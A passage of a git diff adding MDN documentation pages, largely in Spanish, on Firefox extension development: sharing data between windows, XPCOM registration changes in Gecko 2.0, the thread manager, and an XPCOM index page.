+<p>The above code is useful when you need to pass data from one window to another or to a set of windows, but sometimes you just want to share a JavaScript variable in common between different windows. You could declare a local variable in each window along with corresponding setter functions to keep the "instances" of the variable in sync across windows, but fortunately, there's a better way.</p>
+
+<p>To declare a shared variable, we need to find a place that exists while the application is running and is easily accessible from the code in different chrome windows. There are actually a few such places.</p>
+
+<h4 id="Using_JavaScript_code_modules" name="Using_JavaScript_code_modules">Using JavaScript code modules</h4>
+
+<p><a href="/es/Using_JavaScript_code_modules" title="es/Using_JavaScript_code_modules">JavaScript code modules</a> {{ Fx_minversion_inline(3) }} is a simple method for creating shared global singleton objects that can be imported into any other JavaScript scope. The importing scope will have access to the objects and data in the code module. Since the code module is cached, all scopes get the same instance of the code module and can share the data in the module. See <a href="/es/Components.utils.import" title="es/Components.utils.import">Components.utils.import</a> for more information.</p>
+
+<ul>
+ <li>Pros:
+  <ul>
+   <li>It's the "right way"</li>
+   <li>Very simple to make and import.</li>
+   <li>No need to build an XPCOM component.</li>
+  </ul>
+ </li>
+ <li>Cons:
+  <ul>
+   <li>Only works in Firefox 3 or newer.</li>
+   <li>The scope is shared between modules and the importing scope, so you have to worry about name collisions.</li>
+   <li>You can't use the <code><a href="/es/DOM/window" title="es/DOM/window">window</a></code> object, its members, like <code>alert</code> and <code>open</code>, and many other objects available from inside a window. The functionality isn't lost, however -- you just have to use the XPCOM components directly instead of using convenient shortcuts. Of course, this doesn't matter if you just store data in the component.</li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="Using_an_XPCOM_singleton_component" name="Using_an_XPCOM_singleton_component">Using an XPCOM singleton component</h4>
+
+<p>The cleanest and most powerful way to share data is to define your own XPCOM component (you can <a href="/es/How_to_Build_an_XPCOM_Component_in_Javascript" title="es/How_to_Build_an_XPCOM_Component_in_Javascript">write one in JavaScript</a>) and access it from anywhere using a <code>getService</code> call:</p>
+
+<pre class="eval">Components.classes["@domain.org/mycomponent;1"].getService();
+</pre>
+
+<ul>
+ <li>Pros:
+  <ul>
+   <li>It's the "right way".</li>
+   <li>You can store arbitrary JavaScript objects in the component.</li>
+   <li>The scope is not shared between components, so you don't have to worry about name collisions.</li>
+   <li>Works in older versions of Firefox.</li>
+  </ul>
+ </li>
+ <li>Cons:
+  <ul>
+   <li>You can't use the <code><a href="/es/DOM/window" title="es/DOM/window">window</a></code> object, its members, like <code>alert</code> and <code>open</code>, and many other objects available from inside a window. The functionality isn't lost, however -- you just have to use the XPCOM components directly instead of using convenient shortcuts. Of course, this doesn't matter if you just store data in the component.</li>
+   <li>Learning to create XPCOM components takes time.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>There are several articles and books about creating XPCOM components online.</p>
+
+<h4 id="Using_FUEL_Application_object" name="Using_FUEL_Application_object">Using FUEL Application object</h4>
+
+<p>The FUEL JavaScript library {{ Fx_minversion_inline(3) }} has a simple method for sharing data between windows. The <code>Application</code> object supports a <code>storage</code> property which can be used to store data globally. This method is a simplified form of the XPCOM singleton method.</p>
+
+<pre class="eval">Application.storage.set(keyname, data);
+
+var data = Application.storage.get(keyname, default);
+
+where: keyname is a string used to identify the data
+       data is the data
+       default is the data value to return if keyname does not exists
+</pre>
+
+<ul>
+ <li>Pros:
+  <ul>
+   <li>Its the "right way".</li>
+   <li>You can store arbitrary JavaScript objects in the component.</li>
+   <li>The scope is not shared between components, so you don't have to worry about name collisions.</li>
+   <li>No need to build an XPCOM component.</li>
+  </ul>
+ </li>
+ <li>Cons:
+  <ul>
+   <li>Only works in Firefox 3 or newer.</li>
+   <li>You can't use the <code><a href="/es/DOM/window" title="es/DOM/window">window</a></code> object, its members, like <code>alert</code> and <code>open</code>, and many other objects available from inside a window. The functionality isn't lost, however -- you just have to use the XPCOM components directly instead of using convenient shortcuts. Of course, this doesn't matter if you just store data in the component.</li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="Storing_shared_data_in_preferences" name="Storing_shared_data_in_preferences">Storing shared data in preferences</h4>
+
+<p>If you just need to store a string or a number, writing a whole XPCOM component may be an unnecessary complication. You can use the <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIPrefService.html">preferences service</a> in such cases.</p>
+
+<ul>
+ <li>Pros:
+  <ul>
+   <li>Quite easy to use for storing simple data.</li>
+  </ul>
+ </li>
+ <li>Cons:
+  <ul>
+   <li>Can't easily be used to store complex data.</li>
+   <li>Abusing the preferences service and not cleaning up after yourself can cause <code>prefs.js</code> to grow large and slow down application startup.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>See <a href="/es/Code_snippets/Preferences" title="es/Code_snippets/Preferences">Code snippets:Preferences</a> for detailed description of the preferences system and example code.</p>
+
+<p>Example:</p>
+
+<pre class="eval">var prefs = Components.classes["@mozilla.org/preferences-service;1"]
+                      .getService(Components.interfaces.nsIPrefService);
+var branch = prefs.getBranch("extensions.myext.");
+var var1 = branch.getBoolPref("var1"); // get a pref
+</pre>
+
+<h4 id="The_hidden_window_hack" name="The_hidden_window_hack">The hidden window hack</h4>
+
+<p>Some extension authors use the special <em>hidden window</em> to store their data and code. The hidden window is similar to a regular window, but unlike any other window, it's available the whole time the application is running, and isn't visible to user. The document loaded into this window is <code><a class="external" rel="freelink">chrome://browser/content/hiddenWindow.xul</a></code> on Macs where it is used to implement the menus and <code><a class="external" rel="freelink">resource://gre/res/hiddenWindow.html</a></code> on other operating systems. Eventually this window will be removed for operating systems where it isn't needed ({{ Bug(71895) }}).</p>
+
+<p>A reference to the hidden window can be obtained from the nsIAppShellService interface. As any other DOM object it allows you to set custom properties:</p>
+
+<pre class="eval">var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"]
+         .getService(Components.interfaces.nsIAppShellService)
+         .hiddenDOMWindow;
+hiddenWindow.myExtensionStatus = "ready";
+</pre>
+
+<p>However, objects put into the hidden window will still belong to the window that created them. If a method of such an object accesses properties of the <code>window</code> object like <code>XMLHttpRequest</code> you might be confronted with an error message because the original window has been closed. To avoid this you can load the objects with a script file into the hidden window:</p>
+
+<pre class="eval">var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"]
+         .getService(Components.interfaces.nsIAppShellService)
+         .hiddenDOMWindow;
+hiddenWindow.Components.classes["@mozilla.org/moz/jssubscript-loader;1"]
+         .getService(Components.interfaces.mozIJSSubScriptLoader)
+         .loadSubScript("<a class="external" rel="freelink">chrome://my-extension/content/globalObject.js</a>");
+hiddenWindow.myExtensionObject.doSomething();
+</pre>
+
+<p>With <code>globalObject.js</code> containing something like:</p>
+
+<pre class="eval">var myExtensionObject = {
+  doSomething: function() {
+    return new XMLHttpRequest();
+  }
+}
+</pre>
+
+<ul>
+ <li>Pros:
+  <ul>
+   <li>If you are running code in the hidden window, the <code>window</code> object and its properties are available, unlike the component case.</li>
+   <li>You can store arbitrary JavaScript objects in the hidden window.</li>
+  </ul>
+ </li>
+ <li>Cons:
+  <ul>
+   <li>It's a hack.</li>
+   <li>The same window is accessed by different extensions, you have to use long variable names to avoid conflicts.</li>
+   <li>The hidden window may be removed from Windows/Linux builds.</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="See_also" name="See_also">See also</h3>
+
+<ul>
+ <li><a href="/es/Code_snippets/Dialogs" title="es/Code_snippets/Dialogs">Code snippets:Dialogs</a></li>
+</ul>
diff --git a/files/es/mozilla/xpcom/xpcom/cambios_xpcom_en_gecko_2.0/index.html b/files/es/mozilla/xpcom/xpcom/cambios_xpcom_en_gecko_2.0/index.html
new file mode 100644
index 0000000000..b8858b9411
--- /dev/null
+++ b/files/es/mozilla/xpcom/xpcom/cambios_xpcom_en_gecko_2.0/index.html
@@ -0,0 +1,111 @@
+---
+title: Cambios XPCOM en Gecko 2.0
+slug: Mozilla/XPCOM/XPCOM/Cambios_XPCOM_en_Gecko_2.0
+tags:
+  - Gecko 2.0
+  - XPCOM
+  - para_revisar
+---
+<p></p>
+<p></p><div class="blockIndicator draft">
+    <p><strong>Borrador</strong><br>
+    Esta página no está completa.</p>
+
+</div><p></p>
+<p>Han tenido lugar una serie de cambios que afectan la compatibilidad de componentes XPCOM en Gecko 2. Este artículo detalla esos cambios y provee sugerencias sobre cómo actualizar tu código.</p>
+<h2 id="Se_acabaron_las_interfaces_inmovilizadas">Se acabaron las interfaces inmovilizadas</h2>
+<p>Se acabaron las interfaces inmovilizadas; a partir de ahora, todas las interfaces está sujetas a cambios. Se actualizará la documentación según permita el tiempo eliminar las referencias a las interfaces que estén "inmovilizadas " o "no inmovilizadas".</p><h2 id="Registro_de_componentes">Registro de componentes</h2>
+<p>La manera en que los componentes XPCOM son registrados cambió en Gecko 2. Antes de Gecko 2, durante el registro de un componente, todos los binarios y ficheros del componente JavaScript eran cargados y llamados, pidiéndoles que se registraran a sí mismos. Si usabas <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm" title="en/JavaScript code modules/XPCOMUtils.jsm">XPCOMUtils.jsm</a>, algo de esto estaba oculto, pero eso pasaba.</p>
+<p>Comenzando en Gecko 2, como sea, los componentes son registrados usando archivos manifest, similar a como chrome es registrado. De hecho, el mismo archivo <a href="/en/Chrome_Registration" title="en/chrome.manifest">chrome manifest</a> será usado para registrar componentes.</p>
+<p><strong>Todos los componentes XPCOM</strong> necesitarán ser actualizados para soportar esto. Como sea, es muy fácil hacerlo, y se puede actualmente soportar ambos tipos de registro para conservar la compatibilidad hacia atrás.</p>
+<h3 id="Manifestos_de_componentes">Manifestos de componentes</h3>
+<p>Todo registro de componentes es controlado a través de archivos manifest. Para extensiones, esto es el mismo <code>chrome.manifest</code> actualmente usado para registrar chrome.</p>
+<h3 id="Archivos_XPT">Archivos XPT</h3>
+<p>La ruta de los archivos XPT debe ser listada explicitamente en un manifest usando una directiva <code>interfaces</code> directive:</p>
+<pre>interfaces components/mycomponent.xpt</pre>
+<h3 id="Componentes_JavaScript">Componentes JavaScript</h3>
+<p>El registro de información para componentes JavaScript ya no está dentro del componente mismo; en cambio, está alojado en el manifest. El componente es cargado solo cuando el administrador de XPCOM necesita crear un componente.</p>
+<p><code>chrome.manifest</code>:</p>
+<pre># The {classID} here must match the classID in mycomponent.js
+component {e6b866e3-41b2-4f05-a4d2-3d4bde0f7ef8} components/mycomponent.js
+contract @foobar/mycomponent;1 {e6b866e3-41b2-4f05-a4d2-3d4bde0f7ef8}
+category profile-after-change MyComponent @foobar/mycomponent;1
+</pre>
+<p>El código javascript ya no exporta una función <code><a href="/en/NSGetModule" title="en/NSGetModule">NSGetModule()</a></code>. Ahora debe exportar una función <a href="/en/NSGetFactory" title="en/NSGetFactory"><code>NSGetFactory()</code></a>, la cual acepta un ID de contrato como parámetro.</p>
+<p>Por ejemplo en el código JavaScript de tu componente:</p>
+<pre>Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
+
+function myComponent() {
+}
+myComponent.prototype = {
+  // this must match whatever is in chrome.manifest!
+  classID: Components.ID("{e6b866e3-41b2-4f05-a4d2-3d4bde0f7ef8}"),
+
+  QueryInterface: XPCOMUtils.generateQI([Components.interfaces.nsIMyComponent]),
+
+  /* nsIMyComponent implementation goes here */
+  ...
+};
+
+// The following line is what XPCOM uses to create components. Each component prototype
+// must have a .classID which is used to create it.
+const NSGetFactory = XPCOMUtils.generateNSGetFactory([myComponent]);
+</pre>
+<p>Un componente puede implemente compatibilidad hacia atrás con Gecko 1.9.2 dinámicamente detectando cuál de los simbolos son exportados por XPCOMUtils.jsm y exportando la función correcta:</p>
+<pre>/**
+* XPCOMUtils.generateNSGetFactory was introduced in Mozilla 2 (Firefox 4).
+* XPCOMUtils.generateNSGetModule is for Mozilla 1.9.2 (Firefox 3.6).
+*/
+if (XPCOMUtils.generateNSGetFactory)
+    var NSGetFactory = XPCOMUtils.generateNSGetFactory([mySample]);
+else
+    var NSGetModule = XPCOMUtils.generateNSGetModule([mySample]);</pre>
+<h3 id="Componentes_binarios">Componentes binarios</h3>
+<p>Los componentes binarios deben ser listados explicitamente en un manifest usando una directiva <code>binary-component</code>:</p>
+<pre>binary-component components/mycomponent.dll
+</pre>
+<p>C++ en el componente debe ser cambiado: un componente binario ya no exporta la función <code><a href="/en/NSGetModule" title="en/NSGetModule">NSGetModule()</a></code>. En cambio, exporta un simbolo de datos <a href="/en/XPCOM/NSModule" title="en/XPCOM/NSModule"><code>NSModule</code></a> el cual apunta a la estructura <code>mozilla::Module</code>. Para más información acerca de la estructura <code>mozilla::Module</code>, mira la cabecera <a class=" external" href="http://mxr.mozilla.org/mozilla-central/source/xpcom/components/Module.h" title="http://mxr.mozilla.org/mozilla-central/source/xpcom/components/Module.h">Module.h</a>. Para un ejemplo actual de implementación de módulos dinámicos, mira <a class=" external" href="http://mxr.mozilla.org/mozilla-central/source/xpcom/sample/nsSampleModule.cpp" title="http://mxr.mozilla.org/mozilla-central/source/xpcom/sample/nsSampleModule.cpp">nsSampleModule.cpp</a>.</p>
+<p>Notese que <code>nsIGenericFactory.h</code> ha sido eliminado. Referencias a <code>nsIGenericFactory.h</code> deben ser reemplazadas con <code>mozilla/ModuleUtils.h</code>.</p>
+<p>Es posible para un componente binario ser compatible con Mozilla 1.9.2 y Mozilla 2.0 usando un macro extra<code>NS_IMPL_MOZILLA192_NSGETMODULE</code>. mira <a class=" external" href="http://mxr.mozilla.org/mozilla-central/source/xpcom/sample/nsSampleModule.cpp" title="http://mxr.mozilla.org/mozilla-central/source/xpcom/sample/nsSampleModule.cpp">nsSampleModule.cpp</a> para más detalles.</p>
+<h3 id="Subdirectorios_específicos_de_plataforma">Subdirectorios específicos de plataforma</h3>
+<p>El sistema component/chrome usado para mirar en los subdirectorios específicos de plataforma de una extensión, del tipo <code>platform/WINNT_x86-msvc/chrome.manifest</code> en Windows. Ya no está soportado. Puedes usar las directivas de registro chrome, OS y ABI para lograr el mismo efecto:</p>
+<pre>binary-component components/windows/mycomponent.dll ABI=WINNT_x86-msvc
+binary-component components/mac/mycomponent.dylib ABI=Darwin_x86-gcc3
+binary-component components/mac/mycomponent64.dylib ABI=Darwin_x86-64-gcc3
+binary-component components/linux/mycomponent.so ABI=Linux_x86-gcc3
+</pre>
+<h2 id="Registro_de_categoría">Registro de categoría</h2>
+<p>Anterior a Gecko 2, las extensiones podían escuchar las <a href="/en/Observer_Notifications" title="en/Observer Notifications">notificaciones</a> para el <code>xpcom-startup</code> y <code>app-startup</code> durante el inicio, y realizar acciones durante. Este ya no es el caso. Las más temprana notificacion de inicio que puede recibir una extensión es <code>profile-after-change</code>, la cual tiene siempre que ser una notificación recomendad para observar. Esto es debido a que está entre las notificaciones más tempranas que ocurren despues de que la carpeta de perfil(y por lo tanto preferencias y otros servicios) está disponible.</p>
+<h3 id="Qué_necesitas_cambiar">Qué necesitas cambiar</h3>
+<p>Si tu extension actualmente observa aún a <code>xpcom-startup</code> ó <code>app-startup</code>, necesitas actualizar tu código para observer en vez a <code>profile-after-change</code>.</p>
+<p>Usualmente, las extensiones observaban <code>app-startup</code> porqué en el pasado, necesitabas cargar <code>app-startup</code> con el fin de poder registrarse para observar <code>profile-after-change</code> en primer lugar. A partir de <span title="(Firefox 3.5 / Thunderbird 3.0 / SeaMonkey 2.0)">Gecko 1.9.1</span>, este ya no es el caso, como sea; tu puedes registrar ahora <code>profile-after-change</code> usando el administrador de categoría. Mira <a href="/en/XPCOM/Receiving_startup_notifications" title="en/XPCOM/Receiving startup notifications">Recibiendo notificaciones de inicio</a> para más detalles.</p>
+<p>Para agregar una entrada de categoria, debes insertar la siguiente linea a tu chrome.manifest:</p>
+<pre>category profile-after-change MyComponent @foobar/mycomponent;1
+</pre>
+<div class="warning"><strong>Importante</strong>: Formalmente, el id de contrado de la entrada de categoría era prefijada con "<code>service,"</code> si el componente era implementado como un servicio. Este prefijo necesita ser eliminado cuando migres a chrome.manifest.</div>
+<h3 id="Nombres_de_categoría_cambiados">Nombres de categoría cambiados</h3>
+<p>El administrador de categoría en XPCOM es usado para registrar ciertos objetos auxiliares globales. Como chrome.manifest es un formato de espacio delimitado, los nombres de categoría con espacios no pueden ser registrados. Por lo tanto las siguientes categorías han cambiado:</p>
+<table class="standard-table"> <thead> <tr> <th scope="col">Nombre anterior</th> <th scope="col">Nuevo nombre</th> </tr> <tr> <td><code>JavaScript global constructor</code></td> <td><code>Javascript-global-constructor</code></td> </tr> <tr> <td><code>JavaScript global constructor prototype alias</code></td> <td><code>JavaScript-global-constructor-prototype-alias</code></td> </tr> </thead> <tbody> <tr> <td><code>JavaScript global property</code></td> <td><code>JavaScript-global-property</code></td> </tr> <tr> <td><code>JavaScript global privileged property</code></td> <td><code>JavaScript-global-privileged-property</code></td> </tr> <tr> <td><code>JavaScript global static nameset</code></td> <td><code>JavaScript-global-static-nameset</code></td> </tr> <tr> <td><code>JavaScript global dynamic nameset</code></td> <td><code>JavaScript-global-dynamic-nameset</code></td> </tr> <tr> <td><code>JavaScript DOM class</code></td> <td><code>JavaScript-DOM-class</code></td> </tr> <tr> <td><code>JavaScript DOM interface</code></td> <td><code>JavaScript-DOM-interface</code></td> </tr> <tr> <td><code>XSLT extension functions</code></td> <td><code>XSLT-extension-functions</code></td> </tr> </tbody>
+</table>
+<h3 id="¿Pero_por_qué">¿Pero por qué?</h3>
+<p>Previamente, cuando fuera Gecko detectaba que la versión de la aplicación habia cambiado, o una o mas extensiones eran agregadas o eliminadas, activadas o desactivadas, era necesario para tratar todos los registros de componentes existentes, reiniciar la aplicación(Lo que llamamos "Reinicio de administrador de extensiones"), durante su proceso de arranque. Esto fue necesario para asegurar que los componentes que ya no estuvieran disponibles fueran eliminados apropiadamente, y para re-registrar todo, cargando algun nuevo componente que se necesitara.</p>
+<p>En teoría, estos es invisible para el usuario, pero es un proceso costoso, ya que cada componente necesita ser cargado y ejecutado, luego descargado, luego recargado de nuevo durante el reinicio.</p>
+<p>Además de eso, con el trabajo que estamos haciendo en el soporte multihilo para Firefox, el contenido de los procesos también necesita registrar componentes en una base por proceso, o de alguna manera para compartir la cache de un componente con el proceso chrome.</p>
+<p>Los cambios para el modelo de registro de componentes permite este llamado Reinicio de administrador de extensiones volverse una cosa del pasado. En lugar de confiar en una potencial caché de componentes en el arranque, nosotros leemos los registros de componentes de la aplicación fuera de su archivo manifest y cargamos esos componentes. Esto obtiene suficiente de XPCOM cargado y en ejecución con lo que podemos cargar el administrador de extensiones y realizar la instalación, desinstalación y acualización necesaria de algunas extensiones instaladas.</p>
+<p>Hecho esto, las extensiones pueden ser cargadas simplemente leyendo su manifesto, cargando sus componentes y continuando el proceso de arranque, todo sin tener que reiniciar el navegador.</p>
+<p>Los contenidos de procesos en Electrolysis pueden simplemente leer el registro del componente durante el arranque.</p>
+<p> </p>
+<h2 id="Cambios_en_los_contenedores_XPCNativeWrapper">Cambios en los contenedores XPCNativeWrapper</h2>
+<h3 id="No_se_pueden_desactivar_del_manifiesto_los_contenedores_XPCNativeWrapper">No se pueden desactivar del manifiesto  los contenedores XPCNativeWrapper</h3>
+<p>Ya no se admite la especificación de <code>xpcnativewrappers=no</code> en tu manifiesto. El objetivo de ésta fue siempre ofrecer una solución alternativa a corto plazo que permitiera que las extensiones continuaran funcionando mientras que los autores actualizaban el código para usar los contenedores XPCNativeWrapper.</p>
+<p>Si tu agregado/complemento depende de un enlace XBL adjunto a los objetos de contenido - por ejemplo, la capacidad para llamar a las funciones u obtener y establecer las propiedades creadas por el enlace XBL - tendrás que usar la propiedad de los contenedores XPCNativeWrapper <code>wrappedJSObject</code> para tener acceso a los objetos ajustados.</p>
+<p>Si necesitas poder llamar a las funciones o tener acceso a las propiedades definidas por el contenido web, tendrás que hacer esto también. Puede ser el caso si, por ejemplo, has escrito una extensión que añade a un servicio de correo web un botón eliminar y el servicio define una función <code>window.delete()<span style="font-family: Verdana,Tahoma,sans-serif;"> que tienes que llamar.</span></code></p>
+<p>Si, por otro lado, lo único que haces con el contenido es tener acceso a métodos y propiedades DOM, no habrás tenido que usar <code>xpcnativewrappers=no<span style="font-family: Verdana,Tahoma,sans-serif;"> y simplemente deberías eliminarlo de tu manifiesto.</span></code></p>
+<h3 id="Cambios_varios_en_los_contenedores_XPCNativeWrapper">Cambios varios en los contenedores XPCNativeWrapper</h3>
+<ul> <li>Ya no se lanza una excepción de seguridad al usar el operador <a href="../../../../en/JavaScript/Reference/Operators/Special_Operators/delete_Operator" rel="internal"><code>delete</code></a> en las propiedades "expando" de un contenedor XPCNativeWrapper.</li>
+</ul><h2 id="Cambios_en_XPCOMUtils.jsm">Cambios en XPCOMUtils.jsm</h2>
+<p>Se ha actualizado el módulo de código <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm" title="en/JavaScript/Code modules/XPCOMUtils.jsm"><code>XPCOMUtils.jsm</code></a>  para permitir que especifiques las ID de las aplicaciones en las que deseas registrar tu componente.</p><h2 id="Captadores_de_servicios_XPCOM">Captadores de servicios XPCOM</h2>
+<p>Una serie de servicios XPCOM que se usan habitualmente disponen ahora de funciones de captadores de servicios en el  <a href="/en/XPCOM/mozilla::services_namespace" title="en/XPCOM/mozilla::services namespace">mozilla::services namespace</a>; facilitan en gran medida el acceso a estos servicios desde el código C++.</p><h2 id="Consulta_también">Consulta también</h2>
+<ul> <li><a class=" external" href="http://blog.mozilla.com/addons/2010/06/14/multiple-breaking-changes-are-coming-for-components-in-extensions/" title="http://blog.mozilla.com/addons/2010/06/14/multiple-breaking-changes-are-coming-for-components-in-extensions/">Multiple breaking changes are coming for components in extensions</a></li>
+</ul>
+<p></p>
diff --git a/files/es/mozilla/xpcom/xpcom/el_administrador_de_hilos/index.html b/files/es/mozilla/xpcom/xpcom/el_administrador_de_hilos/index.html
new file mode 100644
index 0000000000..4c57aa57e9
--- /dev/null
+++ b/files/es/mozilla/xpcom/xpcom/el_administrador_de_hilos/index.html
@@ -0,0 +1,33 @@
+---
+title: El administrador de hilos
+slug: Mozilla/XPCOM/XPCOM/El_administrador_de_hilos
+tags:
+  - Firefox 3
+translation_of: Mozilla/Tech/XPCOM/The_Thread_Manager
+---
+<p></p>
+
+<p>El administrador de hilos, introducido en Firefox 3, ofrece un mecanismo simple de utilizar para crear hilos y enviarles eventos para que los procese.</p>
+
+<h3 id="Interfaces" name="Interfaces">Interfaces</h3>
+
+<p>Existen varias interfaces que proveen el soporte multihilo:</p>
+
+<dl>
+ <dt><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThreadManager" title="">nsIThreadManager</a></code></dt>
+ <dd>El administrador de hilos en sí mismo te permite crear hilos.</dd>
+ <dt><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThread" title="">nsIThread</a></code></dt>
+ <dd>La interfaz <code>nsIThread</code> encapsula un sistema de hilos funcional, proveyendo un acceso multi-plataforma sencillo al multihilo desde tu código.</dd>
+ <dt><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThreadPool" title="">nsIThreadPool</a></code></dt>
+ <dd>Un pool de hilos provee un conjunto limitado de "hilos de trabajo". Cuando envies un evento al pool, el pool elije un hilo de trabajo disponible para procesar el evento.</dd>
+ <dt><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThreadInternal" title="">nsIThreadInternal</a></code></dt>
+ <dd>Una subclase de <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThread" title="">nsIThread</a></code> que es implementada por el objeto XPCOM de hilo para agregar soporte de observadores de la actividad de envíos al hilo.</dd>
+ <dt><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThreadObserver" title="">nsIThreadObserver</a></code></dt>
+ <dd>Provee la habilidad de monitorear el hilo, recibir notificaciones cuando se le envían eventos y cuando terminan de ser procesados.</dd>
+ <dt><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThreadEventFilter" title="">nsIThreadEventFilter</a></code></dt>
+ <dd>Esta interfaz es usada por el método <code><a href="/es/NsIThreadInternal#pushEventQueue.28.29" title="es/NsIThreadInternal#pushEventQueue.28.29">pushEventQueue()</a></code> en <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIThreadInternal" title="">nsIThreadInternal</a></code> para permitir el filtrado de eventos.</dd>
+</dl>
+
+<h3 id="Usando_el_administrador_de_hilos">Usando el administrador de hilos</h3>
+
+<p>Para usar el Administrador de Hilos, necesitas encapsular cada porción de código de trabajo en un objeto XPCOM <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRunnable" title="">nsIRunnable</a></code>. Puedes escribir el objeto totalmente en javascript, no es excesivamente dificil hacerlo.</p>
diff --git a/files/es/mozilla/xpcom/xpcom/index.html b/files/es/mozilla/xpcom/xpcom/index.html
new file mode 100644
index 0000000000..9cb2755097
--- /dev/null
+++ b/files/es/mozilla/xpcom/xpcom/index.html
@@ -0,0 +1,83 @@
+---
+title: XPCOM
+slug: Mozilla/XPCOM/XPCOM
+tags:
+  - Todas_las_Categorías
+  - XPCOM
+translation_of: Mozilla/Tech/XPCOM
+---
+<div class="callout-box">
+  <strong>Introducción a XPCOM (en)</strong><br>
+  <p>Tutorial en cinco partes de <a class="external" href="http://www-128.ibm.com/developerworks">IBM developer Works</a>: <a class="external" href="http://www-128.ibm.com/developerworks/webservices/library/co-xpcom.html">Parte I</a>, <a class="external" href="http://www-128.ibm.com/developerworks/webservices/library/co-xpcom2.html">Parte II</a>, <a class="external" href="http://www-128.ibm.com/developerworks/webservices/library/co-xpcom3.html">Parte III</a>, <a class="external" href="http://www-128.ibm.com/developerworks/webservices/library/co-xpcom4/index.html">Parte IV</a>, <a class="external" href="http://www-128.ibm.com/developerworks/webservices/library/co-xpcom5.html">Parte V</a></p>
+</div>
+<div>
+  <strong> XPCOM </strong>(cross platform component object model) es un COM multi-plataforma, similar a Microsoft COM. Gracias a sus múltiples "<a href="https://developer.mozilla.org/en-US/docs/XPCOM/Language_Bindings">language bindings</a>", los componentes XPCOM pueden ser usados e implementados no sólo en C/C<sup>++</sup>, sino también en diversos lenguajes tales como JavaScript, Java y Python. La definición de interfaces en XPCOM ha desarrollado su propio dialecto IDL, el <a href="https://developer.mozilla.org/en-US/docs/XPIDL">XPIDL</a>.</div>
+<div>
+   </div>
+<div>
+   Así mismo, XPCOM proporciona un conjunto básico de componentes; por ejemplo, las estructuras básicas: cadenas, matrices, etc. La mayoría de los componentes XPCOM no forman parte de este conjunto básico sino que son proporcionados por otras partes de la plataforma (p.e. <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Gecko?redirectlocale=en-US&amp;redirectslug=Gecko">Gecko</a> o <a href="https://developer.mozilla.org/en-US/docs/Necko">Necko</a>), por una aplicación o por una extensión.</div>
+<p> </p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"><a href="/Special:Tags?tag=XPCOM&amp;language=es" title="Special:Tags?tag=XPCOM&amp;language=es">Documentación</a></h4>
+        <dl>
+          <dt>
+            <a href="/es/Tutorial_de_XUL/Interfaces_XPCOM" title="es/Tutorial_de_XUL/Interfaces_XPCOM">Intrefaces XPCOM</a></dt>
+          <dd>
+            <small>En esta sección, vamos a echar un pequeño vistazo a XPCOM (Cross-platform Component Object Model o Modelo de Objeto de Componentes Multiplataforma), el sistema de objetos que utiliza Mozilla.</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a href="/en/Creating_XPCOM_Components" title="en/Creating_XPCOM_Components">Creating XPCOM Components (en)</a></dt>
+          <dd>
+            <small>Este manual proporciona informacion sobre como contruir un componente XPCOM que controle el comportamiento de navegación.</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a href="/es/Cómo_crear_un_componente_XPCOM_en_JavaScript" title="es/Cómo_crear_un_componente_XPCOM_en_JavaScript">Cómo crear un componente XPCOM en JavaScript</a></dt>
+          <dd>
+            <small>This is a "Hello World" tutorial for creating an XPCOM component in JavaScript. This tutorial does not describe how and why XPCOM works the way it does, or what every bit of the example code does.</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a class="external" href="http://www.mozilla.org/scriptable/avoiding-leaks.html">Usando XPCOM en JavaScript sin perdidas (en)</a></dt>
+          <dd>
+            <small>Usando XPCOM en JavaScript (tambien llamado XPConnect) es una forma donde la adminsitracion de memoria no es la mas indicada. Apesar de esto, es facil escribir codigo en JavaScript que tenga perdidas, ya que algunos objetos con los que tratas en el fondo estan includos en la referencia.</small></dd>
+        </dl>
+        <p><span class="comment">; <a href="/es/XPCOM:Cadenas" title="es/XPCOM:Cadenas"> XPCOM</a>: &lt;small&gt;Referencia sobre las cadenas en XPCOM.&lt;/small&gt;  ; <a href="/es/XPCOM_Glue" title="es/XPCOM Glue">XPCOM Glue</a>&lt;br /&gt; : &lt;small&gt;El XPCOM Glue permite usar las funciones y clases de la utilidad XPCOM, sin tener dependencia de partes del XPCOM (xpcom_core.{dll,so,dylib}).&lt;/small&gt;</span> <span class="alllinks"><a href="/Special:Tags?tag=XPCOM&amp;language=es" title="Special:Tags?tag=XPCOM&amp;language=es">Ver todos...</a></span></p>
+      </td>
+      <td>
+        <h4 id="Comunidad" name="Comunidad">Comunidad</h4>
+        <ul>
+          <li>En MozillaES
+            <ul>
+              <li><a class="external" href="http://www.mozillaes.org/index.php?option=com_forum&amp;Itemid=122&amp;page=viewforum&amp;f=15">Desarrollo</a> Mozilla y <a class="external" href="http://www.mozillaes.org/index.php?option=com_forum&amp;Itemid=122&amp;page=viewforum&amp;f=2">herramientas</a>.</li>
+            </ul>
+          </li>
+        </ul>
+        <ul>
+          <li><a class="external" href="http://torresburriel.com/mailman/listinfo/xul_torresburriel.com">Lista sobre XUL en español</a></li>
+        </ul>
+        <ul>
+          <li>Los foros de Mozilla en inglés.</li>
+        </ul>
